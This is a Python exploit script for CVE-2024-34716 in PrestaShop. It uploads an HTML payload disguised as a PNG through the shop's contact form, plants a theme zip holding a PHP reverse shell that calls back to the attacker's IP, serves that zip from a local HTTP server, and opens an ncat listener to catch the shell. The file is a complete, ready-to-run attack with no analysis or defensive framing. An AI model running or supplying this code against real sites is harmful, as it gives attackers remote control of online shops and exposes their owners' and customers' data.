import argparse, requests, subprocess, time, threading, atexit, http.server, socketserver,zipfile,shutil,os
from bs4 import BeautifulSoup


print_lock = threading.Lock()
stop_event = threading.Event()

def __parse_args():    
    parser = argparse.ArgumentParser(description="CVE-2024-34716 Exploit")
    parser.add_argument("--url", help="The Presta Shop base url.", required=True)
    parser.add_argument("--email", help="The email address of admin user.", required=True)
    parser.add_argument("--local-ip", help="Local HTTP Server IP.", required=True)
    parser.add_argument("--admin-path", help="The Presta Shop admin path.", required=True) 
    
    args = parser.parse_args()
    
    host_url = args.url
    email = args.email
    local_ip = args.local_ip
    admin_path = args.admin_path

    print("[X] Starting exploit with:")
    print(f"\tUrl: {host_url}")
    print(f"\tEmail: {email}")
    print(f"\tLocal IP: {local_ip}")
    print(f"\tAdmin Path: {admin_path}")
                
    return (host_url, email, local_ip, admin_path)
    
    
def send_get_requests(url, interval=5):
    while not stop_event.is_set():
        try:
            response = requests.get(url)
            if response.status_code == 504 or response.status_code == 200:
                stop_event.set()
                return
            print(f"GET request to {url}: {response.status_code}")
            
        except requests.RequestException as e:
            with print_lock:
                print(f"Error during GET request: {e}") # Can comment this out if thread isn't stopped.
        time.sleep(interval)


def run_http_server():
    PORT = 5000
    with socketserver.TCPServer(("", PORT), CustomRequestHandler) as httpd:
        with print_lock:
            print("Serving at http.Server on port", PORT)
        while not stop_event.is_set():
            httpd.handle_request()
        

def main():    
    host_url, email, local_ip, admin_path = __parse_args()

    with open('./exploit.html', 'r') as file:
        html_content = file.read()

    if host_url[-1] == '/':
        host_url = host_url[:-1]

    html_content = html_content.replace("BASE_URL", f'"{host_url}"')
    html_content = html_content.replace("ATTACKER_IP", f'"{local_ip}"')
    html_content = html_content.replace("ATTACKER_PORT", "5000")
    html_content = html_content.replace("ADMIN_PATH", f'"{admin_path}"')
    html_content = html_content.replace("FILE_NAME", '"ps_next_8_theme_malicious.zip"')

    with open('./reverse_shell_template.php', 'r') as file:
        reverse_shell_content = file.read()
    
    reverse_shell_content = reverse_shell_content.replace("ATTACKER_IP", f'"{local_ip}"')
    reverse_shell_content = reverse_shell_content.replace("ATTACKER_PORT", "12345")

    with open('./reverse_shell.php', 'w') as file:
        file.write(reverse_shell_content)
    
    shutil.copy('ps_next_8_theme_malicious_old.zip', 'ps_next_8_theme_malicious.zip')
    with zipfile.ZipFile('ps_next_8_theme_malicious.zip', 'a') as zipf:
        zipf.write('reverse_shell.php','reverse_shell_new.php')



    url = f"{host_url}/contact-us"

    response = requests.get(url)
    response.raise_for_status()

    soup = BeautifulSoup(response.text, 'html.parser')
    token = soup.find('input', {'name': 'token'})['value']
    cookies = response.cookies

    files = {
        'fileUpload': ('test.png', html_content, 'image/png'),
    }

    data = {
        'id_contact': '2',
        'from': email,
        'message': 'pwned',
        'url': '',
        'token': token,
        'submitMessage': 'Send'
    }

    response = requests.post(url, files=files, data=data, cookies=cookies)
    url = f"{host_url}/themes/next/reverse_shell_new.php"

    req_thread = threading.Thread(target=send_get_requests, args=(url, 15,))
    req_thread.daemon = True
    req_thread.start()
    
    server_thread = threading.Thread(target=run_http_server)
    server_thread.daemon = True
    server_thread.start()

    if response.status_code == 200:
        print(f"[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.")
        
        output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)
        if b"Ncat: Connection from " in output:
            with print_lock:
                print("Stopping threads!")
            stop_event.set()
        else:
            print(f"DEBUG:: {output}")
    else:
        print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")


def clean():
    if os.path.exists('ps_next_8_theme_malicious.zip'):
        os.remove('ps_next_8_theme_malicious.zip')
    if os.path.exists('reverse_shell.php'):
        os.remove('reverse_shell.php')

class CustomRequestHandler(http.server.SimpleHTTPRequestHandler):
    def log_request(self, code='-', size='-'):
        with print_lock:
            print(f"Request: {self.command} {self.path} {self.request_version}")
            print(f"Response: {code} {size}")
        super().log_request(code, size)



if __name__ == "__main__":
    clean()
    atexit.register(clean)
    main()
